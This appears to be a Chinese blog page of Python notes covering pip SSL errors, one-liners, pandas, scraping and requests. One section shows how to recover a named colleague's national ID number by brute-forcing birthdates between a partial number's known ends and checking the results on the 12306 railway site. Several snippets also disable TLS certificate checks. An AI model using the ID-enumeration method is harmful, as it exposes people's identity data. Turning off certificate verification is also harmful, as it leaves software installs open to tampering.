<h3 id="Could-not-fetch-URL-https-pypi-org-simple-pip-There-was-a-problem-confirming-the-ssl-certificate"><a href="#Could-not-fetch-URL-https-pypi-org-simple-pip-There-was-a-problem-confirming-the-ssl-certificate" class="headerlink" title="Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate"></a>Could not fetch URL <a href="https://pypi.org/simple/pip/" target="_blank" rel="noopener">https://pypi.org/simple/pip/</a>: There was a problem confirming the ssl certificate</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">pip install iredis</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">4</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/i</span>redis/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">3</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/i</span>redis/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">2</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/i</span>redis/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">1</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/i</span>redis/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">0</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/i</span>redis/</span><br><span class="line">Could not fetch URL https:<span class="comment">//pypi.org/simple/iredis/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/iredis/ (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1045)'))) - skipping</span></span><br><span class="line">ERROR: Could not find a version that satisfies the requirement iredis (<span class="keyword">from</span> versions: none)</span><br><span class="line">ERROR: No matching distribution found <span class="keyword">for</span> iredis</span><br><span class="line">Could not fetch URL https:<span class="comment">//pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1045)'))) - skipping</span></span><br><span class="line">到https:<span class="comment">//pypi.python.org/pypi/pip#downloads下载 https://files.pythonhosted.org/packages/ce/ea/9b445176a65ae4ba22dce1d93e4b5fe182f953df71a145f557cffaffc1bf/pip-19.3.1.tar.gz</span></span><br><span class="line"></span><br><span class="line">解压出setup.py   执行python setup.py install</span><br><span class="line">Installing pip.exe script to D:\python\Scripts</span><br><span class="line">Installing pip.exe.manifest script to D:\python\Scripts</span><br><span class="line">Installing pip3-script.py script to D:\python\Scripts</span><br><span class="line">Installing pip3.exe script to D:\python\Scripts</span><br><span class="line">Installing pip3.exe.manifest script to D:\python\Scripts</span><br><span class="line">Installing pip3<span class="number">.7</span>-script.py script to D:\python\Scripts</span><br><span class="line">Installing pip3<span class="number">.7</span>.exe script to D:\python\Scripts</span><br><span class="line">Installing pip3<span class="number">.7</span>.exe.manifest script to D:\python\Scripts</span><br><span class="line"></span><br><span class="line">Installed d:\python\lib\site-packages\pip<span class="number">-19.3</span><span class="number">.1</span>-py3<span class="number">.7</span>.egg</span><br><span class="line">Processing dependencies <span class="keyword">for</span> pip==<span class="number">19.3</span><span class="number">.1</span></span><br><span class="line">Finished processing dependencies <span class="keyword">for</span> pip==<span class="number">19.3</span><span class="number">.1</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">pip install --trusted-host pypi.org --trusted-host files.pythonhosted.org iredis</span><br><span class="line">Collecting iredis</span><br><span class="line">  Downloading https:<span class="comment">//files.pythonhosted.org/packages/5c/1f/2da6df9c698a586f66bbb4153b7b2a75c62ce1e94aaf04ffaed1954163ad/iredis-0.7.0-py3-none-any.whl (42kB)</span></span><br><span class="line">     |████████████████████████████████| <span class="number">51</span>kB <span class="number">363</span>kB/s</span><br><span class="line">Collecting click8&lt;<span class="number">9</span>,&gt;=<span class="number">8</span></span><br></pre></td></tr></table></figure>
<h3 id="单行代码"><a href="#单行代码" class="headerlink" title="单行代码"></a>单行代码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"># 字典推导</span><br><span class="line">&#123;<span class="attr">v</span>: k <span class="keyword">for</span> k, v <span class="keyword">in</span> some_dict.items()&#125;</span><br><span class="line"># 集合推导</span><br><span class="line">&#123;x**<span class="number">2</span> <span class="keyword">for</span> x <span class="keyword">in</span> [<span class="number">1</span>, <span class="number">1</span>, <span class="number">2</span>]&#125;</span><br><span class="line"># 列表推导</span><br><span class="line">[i <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">30</span>) <span class="keyword">if</span> i % <span class="number">3</span> is <span class="number">0</span>]</span><br><span class="line">a_list = [[<span class="number">1</span>, <span class="number">2</span>], [<span class="number">3</span>, <span class="number">4</span>], [<span class="number">5</span>, <span class="number">6</span>]]</span><br><span class="line">print(list(itertools.chain.from_iterable(a_list)))</span><br><span class="line"># Output: [1, 2, 3, 4, 5, 6]</span><br><span class="line">sum(a_list,[])</span><br><span class="line">[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="number">6</span>]</span><br><span class="line"># or</span><br><span class="line">print(list(itertools.chain(*a_list)))</span><br><span class="line"># Output: [1, 2, 3, 4, 5, 6]</span><br><span class="line">python -c <span class="string">"import csv,json;print json.dumps(list(csv.reader(open('csv_file.csv'))))"</span></span><br><span class="line">python -m cProfile my_script.py</span><br><span class="line">cat file.json | python -m json.tool</span><br><span class="line">https:<span class="comment">//learnku.com/articles/39048#reply125307</span></span><br></pre></td></tr></table></figure>
<h3 id="python算出了同事的身份证号码"><a href="#python算出了同事的身份证号码" class="headerlink" title="python算出了同事的身份证号码"></a>python算出了同事的身份证号码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://mp.weixin.qq.com/s?__biz=MzU5MjI3NzIxMw==&amp;mid=2247486816&amp;idx=1&amp;sn=baa976db515e3b9b99e7001daa9a577a&amp;chksm=fe2376d2c954ffc486625e5420e3ebcf3d83581986b0568b804fb5a54e4aaa032b4992c13905&amp;mpshare=1&amp;scene=1&amp;srcid=1023PX0DRWmDc5E8oEZSVUx6&amp;sharer_sharetime=1571795782903&amp;sharer_shareid=43165518fc08bc947dca48788293333a&amp;key=6f23511bf9e1c01f4c78d4f8f46e1b1e8fc6e548405a6029e3b015de7441c1527cd4817fc238470a3211f36f03178e6f7f9888d5f7d1ee5e6ef6b0b0fced5da2f45aa739e184ae5749a86f5102efd4f9&amp;ascene=1&amp;uin=NjQ3OTQwMTAy&amp;devicetype=Windows+7&amp;version=62070152&amp;lang=zh_CN&amp;pass_ticket=Nl73k%2FpmXYhrLnAbsjSStmagh1FEZZkB8fhtyVf9%2BmzY8foNNpPw%2FmaVHa2zPKdu</span></span><br><span class="line"></span><br><span class="line">用python生成<span class="number">1993</span>年的所有日期吧</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">#生成出生当年所有日期</span><br><span class="line">def dateRange(year):</span><br><span class="line">    fmt = <span class="string">'%Y-%m-%d'</span></span><br><span class="line">    bgn = int(time.mktime(time.strptime(year+<span class="string">'-01-01'</span>,fmt)))</span><br><span class="line">    end = int(time.mktime(time.strptime(year+<span class="string">'-12-31'</span>,fmt)))</span><br><span class="line">    list_date = [time.strftime(fmt,time.localtime(i)) <span class="keyword">for</span> i <span class="keyword">in</span> range(bgn,end+<span class="number">1</span>,<span class="number">3600</span>*<span class="number">24</span>)]</span><br><span class="line">    <span class="keyword">return</span> [i.replace(<span class="string">'-'</span>,<span class="string">''</span>) <span class="keyword">for</span> i <span class="keyword">in</span> list_date]</span><br><span class="line"></span><br><span class="line">data_time  = dateRange(<span class="string">'1993'</span>)</span><br><span class="line">pip install id-validator</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> id_validator <span class="keyword">import</span> validator</span><br><span class="line"></span><br><span class="line">#遍历所有日期，print通过校验的身份证号码</span><br><span class="line"></span><br><span class="line">def vali_dator(id1,id2,id3):</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> dateRange(id2):</span><br><span class="line">        theid = id1 + i + id3</span><br><span class="line">        <span class="keyword">if</span> validator.is_valid(theid):</span><br><span class="line">            print(theid)</span><br><span class="line"></span><br><span class="line">vali_dator(<span class="string">'330221'</span>,<span class="string">'1993'</span>,<span class="string">'4914'</span>)</span><br><span class="line">打开<span class="number">12306</span>官网，</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">在<span class="number">12306</span>添加常用联系人，</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">将李大伟+身份证号依次输入。</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">若身份证和姓名一致，就会显示校验通过；</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">若不能通过，则说明身份证和姓名不一致。 https:<span class="comment">//github.com/zpw1995/aotodata/tree/master/interest/ID_card</span></span><br></pre></td></tr></table></figure>
<h3 id="b站弹幕"><a href="#b站弹幕" class="headerlink" title="b站弹幕"></a>b站弹幕</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">#https://github.com/zpw1995/aotodata/blob/master/bilibili_danmu/B%E7%AB%99%E5%BC%B9%E5%B9%95%E7%88%AC%E8%99%AB.py</span><br><span class="line">url = <span class="string">'http://comment.bilibili.com/123519261.xml'</span></span><br><span class="line">html = requests.get(url)</span><br><span class="line">html.encoding=<span class="string">'utf8'</span></span><br><span class="line"></span><br><span class="line">soup = BeautifulSoup(html.text, <span class="string">'lxml'</span>)</span><br><span class="line">results = soup.find_all(<span class="string">'d'</span>)</span><br><span class="line"></span><br><span class="line">comments = [comment.text <span class="keyword">for</span> comment <span class="keyword">in</span> results]</span><br><span class="line">comments_dict = &#123;<span class="string">'comments'</span>: comments&#125;</span><br><span class="line"></span><br><span class="line">df = pd.DataFrame(comments_dict)</span><br><span class="line">df.to_csv(<span class="string">'bili_ai5.csv'</span>, encoding=<span class="string">'utf-8-sig'</span>)</span><br></pre></td></tr></table></figure>
<h3 id="Pandas"><a href="#Pandas" class="headerlink" title="Pandas"></a>Pandas</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">import</span> pandas <span class="keyword">as</span> pd</span><br><span class="line"> #读取csv</span><br><span class="line"> df = pd.read_csv(<span class="string">'xxx.csv'</span>)</span><br><span class="line"></span><br><span class="line"> #pkl格式https://learnku.com/articles/39739</span><br><span class="line"> df.to_pickle('xxx.pkl') #格式另存</span><br><span class="line"> df = pd.read_pickle('xxx.pkl') #读取</span><br><span class="line"></span><br><span class="line"> #hdf格式</span><br><span class="line">df.to_hdf('xxx.hdf','df') #格式另存</span><br><span class="line">df = pd.read_hdf('xxx.pkl','df') #读取</span><br><span class="line"></span><br><span class="line">boolean=[True,False]</span><br><span class="line">gender=[<span class="string">"男"</span>,<span class="string">"女"</span>]</span><br><span class="line">color=[<span class="string">"white"</span>,<span class="string">"black"</span>,<span class="string">"yellow"</span>]</span><br><span class="line">data=pd.DataFrame(&#123;</span><br><span class="line">    <span class="string">"height"</span>:np.random.randint(<span class="number">150</span>,<span class="number">190</span>,<span class="number">100</span>),</span><br><span class="line">    <span class="string">"weight"</span>:np.random.randint(<span class="number">40</span>,<span class="number">90</span>,<span class="number">100</span>),</span><br><span class="line">    <span class="string">"smoker"</span>:[boolean[x] <span class="keyword">for</span> x <span class="keyword">in</span> np.random.randint(<span class="number">0</span>,<span class="number">2</span>,<span class="number">100</span>)],</span><br><span class="line">    <span class="string">"gender"</span>:[gender[x] <span class="keyword">for</span> x <span class="keyword">in</span> np.random.randint(<span class="number">0</span>,<span class="number">2</span>,<span class="number">100</span>)],</span><br><span class="line">    <span class="string">"age"</span>:np.random.randint(<span class="number">15</span>,<span class="number">90</span>,<span class="number">100</span>),</span><br><span class="line">    <span class="string">"color"</span>:[color[x] <span class="keyword">for</span> x <span class="keyword">in</span> np.random.randint(<span class="number">0</span>,len(color),<span class="number">100</span>) ]</span><br><span class="line">&#125;</span><br><span class="line">)</span><br><span class="line">&gt;&gt;&gt; data</span><br><span class="line">    height  weight  smoker gender  age   color</span><br><span class="line"><span class="number">0</span>      <span class="number">186</span>      <span class="number">77</span>   False      女   <span class="number">59</span>   black</span><br><span class="line"><span class="number">1</span>      <span class="number">162</span>      <span class="number">62</span>   False      女   <span class="number">75</span>  yellow</span><br><span class="line"><span class="number">2</span>      <span class="number">187</span>      <span class="number">78</span>   False      男   <span class="number">66</span>   black</span><br><span class="line"><span class="number">3</span>      <span class="number">166</span>      <span class="number">45</span>    True      男   <span class="number">38</span>   white</span><br><span class="line">#①使用字典进行映射</span><br><span class="line">data[<span class="string">"gender"</span>] = data[<span class="string">"gender"</span>].map(&#123;<span class="string">"男"</span>:<span class="number">1</span>, <span class="string">"女"</span>:<span class="number">0</span>&#125;)</span><br><span class="line"></span><br><span class="line">#②使用函数</span><br><span class="line">def gender_map(x):</span><br><span class="line">    gender = <span class="number">1</span> <span class="keyword">if</span> x == <span class="string">"男"</span> <span class="keyword">else</span> <span class="number">0</span></span><br><span class="line">    <span class="keyword">return</span> gender</span><br><span class="line">#注意这里传入的是函数名，不带括号</span><br><span class="line">data[<span class="string">"gender"</span>] = data[<span class="string">"gender"</span>].map(gender_map)</span><br><span class="line">def apply_age(x,bias):</span><br><span class="line">    <span class="keyword">return</span> x+bias</span><br><span class="line"></span><br><span class="line">#以元组的方式传入额外的参数</span><br><span class="line">data[<span class="string">"age"</span>] = data[<span class="string">"age"</span>].apply(apply_age,args=(<span class="number">-3</span>,))</span><br><span class="line"># 沿着0轴求和</span><br><span class="line">data[[<span class="string">"height"</span>,<span class="string">"weight"</span>,<span class="string">"age"</span>]].apply(np.sum, axis=<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"># 沿着0轴取对数</span><br><span class="line">data[[<span class="string">"height"</span>,<span class="string">"weight"</span>,<span class="string">"age"</span>]].apply(np.log, axis=<span class="number">0</span>)</span><br><span class="line">def BMI(series):</span><br><span class="line">    weight = series[<span class="string">"weight"</span>]</span><br><span class="line">    height = series[<span class="string">"height"</span>]/<span class="number">100</span></span><br><span class="line">    BMI = weight/height**<span class="number">2</span></span><br><span class="line">    <span class="keyword">return</span> BMI</span><br><span class="line"></span><br><span class="line">data[<span class="string">"BMI"</span>] = data.apply(BMI,axis=<span class="number">1</span>)</span><br><span class="line">df.applymap(lambda x:<span class="string">"%.2f"</span> % x)</span><br><span class="line">https:<span class="comment">//learnku.com/articles/39734</span></span><br><span class="line"></span><br><span class="line">In [<span class="number">12</span>]: data.groupby(<span class="string">"company"</span>).agg(<span class="string">'mean'</span>)</span><br><span class="line">Out[<span class="number">12</span>]:</span><br><span class="line">         salary    age</span><br><span class="line">company</span><br><span class="line">A         <span class="number">21.50</span>  <span class="number">27.50</span></span><br><span class="line">B         <span class="number">13.00</span>  <span class="number">29.00</span></span><br><span class="line">C         <span class="number">29.25</span>  <span class="number">27.25</span></span><br><span class="line">In [<span class="number">17</span>]: data.groupby(<span class="string">'company'</span>).agg(&#123;<span class="string">'salary'</span>:<span class="string">'median'</span>,<span class="string">'age'</span>:<span class="string">'mean'</span>&#125;)</span><br><span class="line">Out[<span class="number">17</span>]:</span><br><span class="line">         salary    age</span><br><span class="line">company</span><br><span class="line">A          <span class="number">21.5</span>  <span class="number">27.50</span></span><br><span class="line">B          <span class="number">10.0</span>  <span class="number">29.00</span></span><br><span class="line">C          <span class="number">30.0</span>  <span class="number">27.25</span></span><br><span class="line"></span><br><span class="line">In [<span class="number">24</span>]: data[<span class="string">'avg_salary'</span>] = data.groupby(<span class="string">'company'</span>)[<span class="string">'salary'</span>].transform(<span class="string">'mean'</span>)</span><br><span class="line">https:<span class="comment">//learnku.com/articles/39735</span></span><br></pre></td></tr></table></figure>
<h3 id="requests-抓取网页的通用框架"><a href="#requests-抓取网页的通用框架" class="headerlink" title="requests 抓取网页的通用框架"></a>requests 抓取网页的通用框架</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"># -*- coding: utf-8 -*- </span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">def getHtmlText(url):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        response = requests.get(url)</span><br><span class="line">        # 如果状态码不是 200, 则应发 HTTPERROR 异常</span><br><span class="line">        response.raise_for_status()</span><br><span class="line">        # 设置正确的编码方式</span><br><span class="line">        response.encoding = response.apparent_encoding</span><br><span class="line">        <span class="keyword">return</span> response.text</span><br><span class="line">    except:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">"Something Wrong!"</span></span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://www.baidu.com'</span></span><br><span class="line"></span><br><span class="line">result = getHtmlText(url)</span><br><span class="line">print(result)</span><br><span class="line">http:<span class="comment">//www.siya89.com/blog/python%20zero</span></span><br></pre></td></tr></table></figure>
<h3 id="Could-not-fetch-URL"><a href="#Could-not-fetch-URL" class="headerlink" title="Could not fetch URL"></a>Could not fetch URL</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"> pip install -U requests</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">4</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/</span>requests/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">3</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/</span>requests/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">2</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/</span>requests/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">1</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/</span>requests/</span><br><span class="line">WARNING: Retrying (Retry(total=<span class="number">0</span>, connect=None, read=None, redirect=None, status=None)) after connection broken by <span class="string">'SSLError(SSLCertVerificationError(1, '</span>[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate <span class="keyword">in</span> certificate chain (_ssl.c:<span class="number">1045</span>)<span class="string">'))'</span>: <span class="regexp">/simple/</span>requests/</span><br><span class="line">Could not fetch URL https:<span class="comment">//pypi.org/simple/requests/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/requests/ (Caused by SSLError(SSLCertVerificationError(1, '[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1045)'))) - skipping</span></span><br><span class="line">Requirement already up-to-date: requests <span class="keyword">in</span> d:\python\lib\site-packages (<span class="number">2.21</span><span class="number">.0</span>)</span><br><span class="line">Requirement already satisfied, skipping upgrade: idna&lt;<span class="number">2.9</span>,&gt;=<span class="number">2.5</span> <span class="keyword">in</span> d:\python\lib\site-packages (<span class="keyword">from</span> requests) (<span class="number">2.8</span>)</span><br><span class="line"></span><br><span class="line"> pip --trusted-host pypi.doubanio.com install -U tqdm -i http:<span class="comment">//pypi.doubanio.com/simple</span></span><br><span class="line">Looking <span class="keyword">in</span> indexes: http:<span class="comment">//pypi.doubanio.com/simple</span></span><br><span class="line">Collecting tqdm</span><br><span class="line">  Downloading http:<span class="comment">//pypi.doubanio.com/packages/4a/1c/6359be64e8301b84160f6f6f7936bbfaaa5e9a4eab6cbc681db07600b949/tqdm-4.45.0-py2.py3-none-any.whl (60kB)</span></span><br><span class="line">     |████████████████████████████████| <span class="number">61</span>kB <span class="number">1.9</span>MB/s</span><br><span class="line">Installing collected packages: tqdm</span><br><span class="line">  Found existing installation: tqdm <span class="number">4.28</span><span class="number">.1</span></span><br><span class="line">    Uninstalling tqdm<span class="number">-4.28</span><span class="number">.1</span>:</span><br><span class="line">      Successfully uninstalled tqdm<span class="number">-4.28</span><span class="number">.1</span></span><br><span class="line">Successfully installed tqdm<span class="number">-4.45</span><span class="number">.0</span></span><br><span class="line"></span><br><span class="line">创建或修改配置文件（linux的文件在~<span class="regexp">/.pip/</span>pip.conf，windows在%HOMEPATH%\pip\pip.ini），修改内容为：</span><br><span class="line"></span><br><span class="line">code:</span><br><span class="line"></span><br><span class="line">[global]</span><br><span class="line"></span><br><span class="line">index-url = http:<span class="comment">//pypi.douban.com/simple</span></span><br></pre></td></tr></table></figure>
<h3 id="Python-Requests-throwing-SSLError"><a href="#Python-Requests-throwing-SSLError" class="headerlink" title="Python Requests throwing SSLError"></a>Python Requests throwing SSLError</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> urllib3</span><br><span class="line"></span><br><span class="line">urllib3.disable_warnings()</span><br><span class="line">pip install certifi</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">&gt;&gt;&gt; <span class="keyword">import</span> requests</span><br><span class="line">&gt;&gt;&gt; requests.certs.where()</span><br><span class="line"><span class="string">'D:\\python\\lib\\site-packages\\certifi\\cacert.pem'</span></span><br><span class="line">requests.get(url, verify=False)</span><br><span class="line">cafile = 'cacert.pem' # http://curl.haxx.se/ca/cacert.pem</span><br><span class="line">r = requests.get(url, verify=cafile)</span><br><span class="line"></span><br><span class="line">requests.get(<span class="string">"https://api.github.com/events"</span>, verify=True, cert=[<span 